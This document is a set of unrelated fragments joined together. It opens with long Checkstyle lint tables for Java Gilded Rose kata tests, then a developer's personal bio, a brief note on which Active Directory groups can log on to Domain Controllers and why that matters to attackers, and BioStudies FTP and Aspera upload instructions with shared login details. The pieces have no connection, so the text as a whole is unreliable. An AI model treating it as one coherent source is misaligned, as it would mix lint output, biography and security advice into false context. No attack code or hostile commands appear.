| Severity | Error Description | Line |
| warning | File does not end with a newline. | 1 |
| warning | Missing package-info.java file. | 1 |
| warning | '{' is not preceded with whitespace. | 7 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 9 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 11 |
| warning | Variable 'items' should be declared final. | 11 |
| warning | '{' is followed by whitespace. | 11 |
| warning | The String "Aged Brie" appears 5 times in the file. | 11 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 12 |
| warning | Variable 'app' should be declared final. | 12 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 13 |
| warning | Variable 'expectedQuality' should be declared final. | 13 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 14 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 16 |
| warning | '(' is followed by whitespace. | 16 |
| warning | ')' is preceded with whitespace. | 16 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 17 |
| warning | '(' is followed by whitespace. | 17 |
| warning | ')' is preceded with whitespace. | 17 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 18 |
| warning | Line has trailing spaces. | 20 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 21 |
| warning | Name 'SellInNegative' must match pattern '^[a-z][a-zA-Z0-9]*$'. | 22 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 23 |
| warning | Variable 'items' should be declared final. | 23 |
| warning | '{' is followed by whitespace. | 23 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 24 |
| warning | Variable 'app' should be declared final. | 24 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 25 |
| warning | Variable 'expectedQuality' should be declared final. | 25 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 26 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 28 |
| warning | '(' is followed by whitespace. | 28 |
| warning | ')' is preceded with whitespace. | 28 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 29 |
| warning | '(' is followed by whitespace. | 29 |
| warning | ')' is preceded with whitespace. | 29 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 30 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 32 |
| warning | Line has trailing spaces. | 33 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 34 |
| warning | Variable 'items' should be declared final. | 34 |
| warning | '{' is followed by whitespace. | 34 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 35 |
| warning | Variable 'app' should be declared final. | 35 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 36 |
| warning | Variable 'expectedQuality' should be declared final. | 36 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 37 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 39 |
| warning | '(' is followed by whitespace. | 39 |
| warning | ';' is preceded with whitespace. | 39 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 40 |
| warning | '(' is followed by whitespace. | 40 |
| warning | ';' is preceded with whitespace. | 40 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 41 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 43 |
| warning | Line has trailing spaces. | 44 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 45 |
| warning | Variable 'items' should be declared final. | 45 |
| warning | '{' is followed by whitespace. | 45 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 46 |
| warning | Variable 'app' should be declared final. | 46 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 47 |
| warning | Variable 'expectedQuality' should be declared final. | 47 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 48 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 50 |
| warning | '(' is followed by whitespace. | 50 |
| warning | ';' is preceded with whitespace. | 50 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 51 |
| warning | '(' is followed by whitespace. | 51 |
| warning | ';' is preceded with whitespace. | 51 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 52 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 54 |
| warning | Line has trailing spaces. | 55 |
| warning | Name 'AgedBrieQualitySuperiorto50' must match pattern '^[a-z][a-zA-Z0-9]*$'. | 55 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 56 |
| warning | Variable 'items' should be declared final. | 56 |
| warning | '{' is followed by whitespace. | 56 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 57 |
| warning | Variable 'app' should be declared final. | 57 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 58 |
| warning | Variable 'expectedQuality' should be declared final. | 58 |
| warning | ';' is preceded with whitespace. | 58 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 59 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 61 |
| warning | '(' is followed by whitespace. | 61 |
| warning | ')' is preceded with whitespace. | 61 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 62 |
| warning | Line has trailing spaces. | 64 |
| Severity | Error Description | Line |
| warning | File does not end with a newline. | 1 |
| warning | '{' is not preceded with whitespace. | 7 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 9 |
| warning | File contains tab characters (this is the first instance). | 10 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 11 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 12 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 14 |
| warning | Line has trailing spaces. | 15 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 16 |
| warning | Variable 'items' should be declared final. | 16 |
| warning | '{' is followed by whitespace. | 16 |
| warning | The String "Backstage passes to a TAFKAL80ETC concert" appears 6 times in the file. | 16 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 17 |
| warning | Variable 'app' should be declared final. | 17 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 18 |
| warning | Variable 'expectedQuality' should be declared final. | 18 |
| warning | '=' is not preceded with whitespace. | 18 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 19 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 21 |
| warning | '(' is followed by whitespace. | 21 |
| warning | ';' is preceded with whitespace. | 21 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 22 |
| warning | '(' is followed by whitespace. | 22 |
| warning | ';' is preceded with whitespace. | 22 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 23 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 25 |
| warning | Line has trailing spaces. | 26 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 27 |
| warning | Variable 'items' should be declared final. | 27 |
| warning | '{' is followed by whitespace. | 27 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 28 |
| warning | Variable 'app' should be declared final. | 28 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 29 |
| warning | Variable 'expectedQuality' should be declared final. | 29 |
| warning | '=' is not preceded with whitespace. | 29 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 30 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 32 |
| warning | '(' is followed by whitespace. | 32 |
| warning | ';' is preceded with whitespace. | 32 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 33 |
| warning | '(' is followed by whitespace. | 33 |
| warning | ';' is preceded with whitespace. | 33 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 34 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 36 |
| warning | Line has trailing spaces. | 37 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 38 |
| warning | Variable 'items' should be declared final. | 38 |
| warning | '{' is followed by whitespace. | 38 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 39 |
| warning | Variable 'app' should be declared final. | 39 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 40 |
| warning | Variable 'expectedQuality' should be declared final. | 40 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 41 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 43 |
| warning | '(' is followed by whitespace. | 43 |
| warning | ';' is preceded with whitespace. | 43 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 44 |
| warning | '(' is followed by whitespace. | 44 |
| warning | ';' is preceded with whitespace. | 44 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 45 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 47 |
| warning | Line has trailing spaces. | 49 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 51 |
| warning | Variable 'items' should be declared final. | 51 |
| warning | '{' is followed by whitespace. | 51 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 52 |
| warning | Variable 'app' should be declared final. | 52 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 53 |
| warning | Variable 'expectedQuality' should be declared final. | 53 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 54 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 56 |
| warning | '(' is followed by whitespace. | 56 |
| warning | ';' is preceded with whitespace. | 56 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 57 |
| warning | '(' is followed by whitespace. | 57 |
| warning | ';' is preceded with whitespace. | 57 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 59 |
| warning | Line is longer than 120 characters (found 255). | 62 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 64 |
| warning | Line has trailing spaces. | 66 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 68 |
| warning | Variable 'items' should be declared final. | 68 |
| warning | '{' is followed by whitespace. | 68 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 69 |
| warning | Variable 'app' should be declared final. | 69 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 70 |
| warning | Variable 'expectedQuality' should be declared final. | 70 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 71 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 73 |
| warning | '(' is followed by whitespace. | 73 |
| warning | ';' is preceded with whitespace. | 73 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 74 |
| warning | '(' is followed by whitespace. | 74 |
| warning | ';' is preceded with whitespace. | 74 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 76 |
| warning | Line is longer than 120 characters (found 255). | 78 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 80 |
| warning | Line has trailing spaces. | 82 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 84 |
| warning | Variable 'items' should be declared final. | 84 |
| warning | '{' is followed by whitespace. | 84 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 85 |
| warning | Variable 'app' should be declared final. | 85 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 86 |
| warning | Variable 'expectedQuality' should be declared final. | 86 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 87 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 89 |
| warning | '(' is followed by whitespace. | 89 |
| warning | ';' is preceded with whitespace. | 89 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 90 |
| warning | '(' is followed by whitespace. | 90 |
| warning | ';' is preceded with whitespace. | 90 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 92 |
| warning | Line has trailing spaces. | 93 |
| Severity | Error Description | Line |
| warning | File does not end with a newline. | 1 |
| warning | '{' is not preceded with whitespace. | 7 |
| warning | Line has trailing spaces. | 13 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 16 |
| warning | Line has trailing spaces. | 18 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 20 |
| warning | Variable 'items' should be declared final. | 20 |
| warning | '{' is followed by whitespace. | 20 |
| warning | The String "Conjured Mana Cake" appears 3 times in the file. | 20 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 21 |
| warning | Variable 'app' should be declared final. | 21 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 22 |
| warning | Variable 'expectedQuality' should be declared final. | 22 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 23 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 25 |
| warning | '(' is followed by whitespace. | 25 |
| warning | ';' is preceded with whitespace. | 25 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 26 |
| warning | '(' is followed by whitespace. | 26 |
| warning | '-' is not followed by whitespace. | 26 |
| warning | '-' is not preceded with whitespace. | 26 |
| warning | ';' is preceded with whitespace. | 26 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 28 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 30 |
| warning | Line has trailing spaces. | 32 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 34 |
| warning | Variable 'items' should be declared final. | 34 |
| warning | '{' is followed by whitespace. | 34 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 35 |
| warning | Variable 'app' should be declared final. | 35 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 36 |
| warning | Variable 'expectedQuality' should be declared final. | 36 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 37 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 39 |
| warning | '(' is followed by whitespace. | 39 |
| warning | ';' is preceded with whitespace. | 39 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 40 |
| warning | '(' is followed by whitespace. | 40 |
| warning | '-' is not followed by whitespace. | 40 |
| warning | '-' is not preceded with whitespace. | 40 |
| warning | ';' is preceded with whitespace. | 40 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 42 |
| warning | Line has trailing spaces. | 43 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 44 |
| warning | Line has trailing spaces. | 46 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 48 |
| warning | Variable 'items' should be declared final. | 48 |
| warning | '{' is followed by whitespace. | 48 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 49 |
| warning | Variable 'app' should be declared final. | 49 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 50 |
| warning | Variable 'expectedQuality' should be declared final. | 50 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 51 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 53 |
| warning | '(' is followed by whitespace. | 53 |
| warning | ';' is preceded with whitespace. | 53 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 54 |
| warning | '(' is followed by whitespace. | 54 |
| warning | '-' is not followed by whitespace. | 54 |
| warning | '-' is not preceded with whitespace. | 54 |
| warning | ';' is preceded with whitespace. | 54 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 56 |
| Severity | Error Description | Line |
| warning | File does not end with a newline. | 1 |
| warning | '{' is not preceded with whitespace. | 7 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 13 |
| warning | '{' is not preceded with whitespace. | 14 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 16 |
| warning | Variable 'items' should be declared final. | 16 |
| warning | '{' is followed by whitespace. | 16 |
| warning | The String "+5 Dexterity Vest" appears 3 times in the file. | 16 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 17 |
| warning | Variable 'app' should be declared final. | 17 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 18 |
| warning | '(' is followed by whitespace. | 18 |
| warning | ')' is preceded with whitespace. | 18 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 19 |
| warning | '(' is followed by whitespace. | 19 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 20 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 21 |
| warning | 'method def modifier' has incorrect indentation level 5, expected level should be 2. | 24 |
| warning | Line has trailing spaces. | 26 |
| warning | Line has trailing spaces. | 28 |
| warning | 'method def' child has incorrect indentation level 9, expected level should be 4. | 29 |
| warning | Variable 'items' should be declared final. | 29 |
| warning | '{' is followed by whitespace. | 29 |
| warning | 'method def' child has incorrect indentation level 9, expected level should be 4. | 30 |
| warning | Variable 'app' should be declared final. | 30 |
| warning | Line has trailing spaces. | 31 |
| warning | 'method def' child has incorrect indentation level 9, expected level should be 4. | 32 |
| warning | '(' is followed by whitespace. | 32 |
| warning | ')' is preceded with whitespace. | 32 |
| warning | 'method def rcurly' has incorrect indentation level 5, expected level should be 2. | 33 |
| Severity | Error Description | Line |
| warning | File does not end with a newline. | 1 |
| warning | '{' is not preceded with whitespace. | 7 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 12 |
| warning | Line has trailing spaces. | 14 |
| warning | Line has trailing spaces. | 16 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 17 |
| warning | Variable 'items' should be declared final. | 17 |
| warning | '{' is followed by whitespace. | 17 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 18 |
| warning | Variable 'app' should be declared final. | 18 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 19 |
| warning | Variable 'expectedQuality' should be declared final. | 19 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 20 |
| warning | Variable 'expectedSellIn' should be declared final. | 20 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 21 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 23 |
| warning | '(' is followed by whitespace. | 23 |
| warning | ')' is preceded with whitespace. | 23 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 24 |
| warning | '(' is followed by whitespace. | 24 |
| warning | ')' is preceded with whitespace. | 24 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 25 |
| warning | Line has trailing spaces. | 28 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 29 |
| warning | Line has trailing spaces. | 30 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 33 |
| warning | Variable 'items' should be declared final. | 33 |
| warning | '{' is followed by whitespace. | 33 |
| warning | The String "Elixir of the Mongoose" appears 4 times in the file. | 33 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 34 |
| warning | Variable 'app' should be declared final. | 34 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 35 |
| warning | Variable 'expectedQuality' should be declared final. | 35 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 36 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 38 |
| warning | '(' is followed by whitespace. | 38 |
| warning | ')' is preceded with whitespace. | 38 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 39 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 42 |
| warning | Line has trailing spaces. | 44 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 46 |
| warning | Variable 'items' should be declared final. | 46 |
| warning | '{' is followed by whitespace. | 46 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 47 |
| warning | Variable 'app' should be declared final. | 47 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 48 |
| warning | Variable 'expectedQuality' should be declared final. | 48 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 49 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 51 |
| warning | '(' is followed by whitespace. | 51 |
| warning | ')' is preceded with whitespace. | 51 |
| warning | ';' is preceded with whitespace. | 51 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 52 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 55 |
| warning | Line has trailing spaces. | 57 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 59 |
| warning | Variable 'items' should be declared final. | 59 |
| warning | '{' is followed by whitespace. | 59 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 60 |
| warning | Variable 'app' should be declared final. | 60 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 61 |
| warning | Variable 'expectedQuality' should be declared final. | 61 |
| warning | '-' is not followed by whitespace. | 61 |
| warning | '-' is not preceded with whitespace. | 61 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 62 |
| warning | Variable 'expectedSellIn' should be declared final. | 62 |
| warning | '=' is not preceded with whitespace. | 62 |
| warning | '-' is not followed by whitespace. | 62 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 63 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 65 |
| warning | '(' is followed by whitespace. | 65 |
| warning | ')' is preceded with whitespace. | 65 |
| warning | ';' is preceded with whitespace. | 65 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 66 |
| warning | '(' is followed by whitespace. | 66 |
| warning | ')' is preceded with whitespace. | 66 |
| warning | ';' is preceded with whitespace. | 66 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 67 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 69 |
| warning | Line has trailing spaces. | 71 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 73 |
| warning | Variable 'items' should be declared final. | 73 |
| warning | '{' is followed by whitespace. | 73 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 74 |
| warning | Variable 'app' should be declared final. | 74 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 75 |
| warning | Variable 'expectedQuality' should be declared final. | 75 |
| warning | '-' is not followed by whitespace. | 75 |
| warning | '-' is not preceded with whitespace. | 75 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 76 |
| warning | Variable 'expectedSellIn' should be declared final. | 76 |
| warning | '=' is not preceded with whitespace. | 76 |
| warning | '-' is not followed by whitespace. | 76 |
| warning | '-' is not preceded with whitespace. | 76 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 77 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 79 |
| warning | '(' is followed by whitespace. | 79 |
| warning | ')' is preceded with whitespace. | 79 |
| warning | ';' is preceded with whitespace. | 79 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 80 |
| warning | '(' is followed by whitespace. | 80 |
| warning | ')' is preceded with whitespace. | 80 |
| warning | ';' is preceded with whitespace. | 80 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 81 |
| Severity | Error Description | Line |
| warning | File does not end with a newline. | 1 |
| warning | Line has trailing spaces. | 10 |
| warning | Line is longer than 120 characters (found 198). | 12 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 14 |
| warning | Line has trailing spaces. | 16 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 18 |
| warning | Variable 'items' should be declared final. | 18 |
| warning | '{' is followed by whitespace. | 18 |
| warning | The String "Sulfuras, Hand of Ragnaros" appears 2 times in the file. | 18 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 19 |
| warning | Variable 'app' should be declared final. | 19 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 20 |
| warning | Variable 'expectedQuality' should be declared final. | 20 |
| warning | '=' is not preceded with whitespace. | 20 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 21 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 23 |
| warning | '(' is followed by whitespace. | 23 |
| warning | ';' is preceded with whitespace. | 23 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 24 |
| warning | '(' is followed by whitespace. | 24 |
| warning | ';' is preceded with whitespace. | 24 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 26 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 29 |
| warning | Line has trailing spaces. | 31 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 33 |
| warning | Variable 'items' should be declared final. | 33 |
| warning | '{' is followed by whitespace. | 33 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 34 |
| warning | Variable 'app' should be declared final. | 34 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 35 |
| warning | Variable 'expectedQuality' should be declared final. | 35 |
| warning | '=' is not preceded with whitespace. | 35 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 36 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 38 |
| warning | '(' is followed by whitespace. | 38 |
| warning | ';' is preceded with whitespace. | 38 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 39 |
| warning | '(' is followed by whitespace. | 39 |
| warning | ';' is preceded with whitespace. | 39 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 41 |
| warning | Line has trailing spaces. | 44 |
| Severity | Error Description | Line |
| warning | Utility classes should not have a public or default constructor. | 3 |
| warning | 'method def modifier' has incorrect indentation level 4, expected level should be 2. | 4 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 5 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 7 |
| warning | Variable 'items' should be declared final. | 7 |
| warning | Line has trailing spaces. | 9 |
| warning | 'array initialization' child has incorrect indentation level 16, expected level should be 10. | 10 |
| warning | Don't use trailing comments. | 10 |
| warning | 'array initialization' child has incorrect indentation level 16, expected level should be 10. | 11 |
| warning | Don't use trailing comments. | 11 |
| warning | 'array initialization' child has incorrect indentation level 16, expected level should be 10. | 12 |
| warning | Don't use trailing comments. | 12 |
| warning | 'array initialization' child has incorrect indentation level 16, expected level should be 10. | 13 |
| warning | Don't use trailing comments. | 13 |
| warning | The String "Sulfuras, Hand of Ragnaros" appears 2 times in the file. | 13 |
| warning | 'array initialization' child has incorrect indentation level 16, expected level should be 10. | 14 |
| warning | 'array initialization' child has incorrect indentation level 16, expected level should be 10. | 15 |
| warning | The String "Backstage passes to a TAFKAL80ETC concert" appears 3 times in the file. | 15 |
| warning | 'array initialization' child has incorrect indentation level 16, expected level should be 10. | 16 |
| warning | 'array initialization' child has incorrect indentation level 16, expected level should be 10. | 17 |
| warning | 'array initialization' child has incorrect indentation level 16, expected level should be 10. | 19 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 21 |
| warning | Variable 'app' should be declared final. | 21 |
| warning | 'method def' child has incorrect indentation level 8, expected level should be 4. | 23 |
| warning | 'if' has incorrect indentation level 8, expected level should be 4. | 24 |
| warning | 'if' child has incorrect indentation level 12, expected level should be 6. | 25 |
| warning | 'if rcurly' has incorrect indentation level 8, expected level should be 4. | 26 |
| warning | 'for' has incorrect indentation level 8, expected level should be 4. | 28 |
| warning | 'for' child has incorrect indentation level 12, expected level should be 6. | 29 |
| warning | 'for' child has incorrect indentation level 12, expected level should be 6. | 30 |
| warning | 'for' has incorrect indentation level 12, expected level should be 6. | 31 |
| warning | 'for' child has incorrect indentation level 16, expected level should be 8. | 32 |
| warning | 'for rcurly' has incorrect indentation level 12, expected level should be 6. | 33 |
| warning | 'for' child has incorrect indentation level 12, expected level should be 6. | 34 |
| warning | 'for' child has incorrect indentation level 12, expected level should be 6. | 35 |
| warning | 'for rcurly' has incorrect indentation level 8, expected level should be 4. | 36 |
| warning | 'method def rcurly' has incorrect indentation level 4, expected level should be 2. | 37 |


About Me
Hi! I’m Jake St. Germain and I am a software developer! After 5 years of being a Pediatric ICU Nurse, I decided to pursue the long term passion of mine and switch to tech. I have always had a love for it and have shown an aptitude for learning quickly in the tech area. My time in the ICU has helped me to remain calm, cool, and collected under pressure.
Random tidbits! Like the headline says, I am a cat enthusiast and have three of the fluffy nerds. I have built computers for myself and a few of my friends, and love spending time on my OneWheel!


More groups can log onto Domain Controllers than just Domain Admins. By default, here is a list of groups that can logon to DCs.
- Enterprise Admins (member of the domain Administrators group in every domain in the forest)
- Domain Admins (member of the domain Administrators group)
- Administrators
- Backup Operators
- Account Operators
- Print Operators
This means that if an attacker can compromise an account in Account Operators or Print Operators, the Active Directory domain may be compromised since these groups have logon rights to Domain Controllers.


You can upload directories to your BioStudies filespace via FTP or Aspera. Please click on the relevant
method below.
Your secret directory is: `/{{secretId}}`
Upload using FTP
You can use any FTP client to upload your data, such as FileZilla.
The FTP credentials are:
* Host: `ftp-private.ebi.ac.uk`
* Username: `bsftp`
* Password: `bsftp1`
* Remote site: `/{{secretId}}`
Please use the credentials above to connect to the FTP server, and then upload your submission files into your secret directory.
Upload using Aspera
Instructions for
The Asperaascp command line client is distributed as part of the Aspera CLI
high-performance transfer browser plug-in which can be downloaded from
here
You will need to execute the downloaded file and switch to the CLI folder, e.g.,
`$ sh ~/Documents/ibm-aspera-cli-<IP_ADDRESS>7.159c5b1-mac-10.11-64-release.sh`
`$ cd ~/Applications/Aspera\ CLI/bin`
`$ ./ascp -P33001 -i ../etc/asperaweb_id_dsa.openssh -d <directory to upload> bsaspera_w@hx-fasp-1.ebi.ac.uk:<secret directory>`
You will need to execute the downloaded file and switch to the CLI folder, e.g.,
`$ sh ~/Documents/ibm-aspera-cli-<IP_ADDRESS>7.159c5b1-linux-64-release.sh`
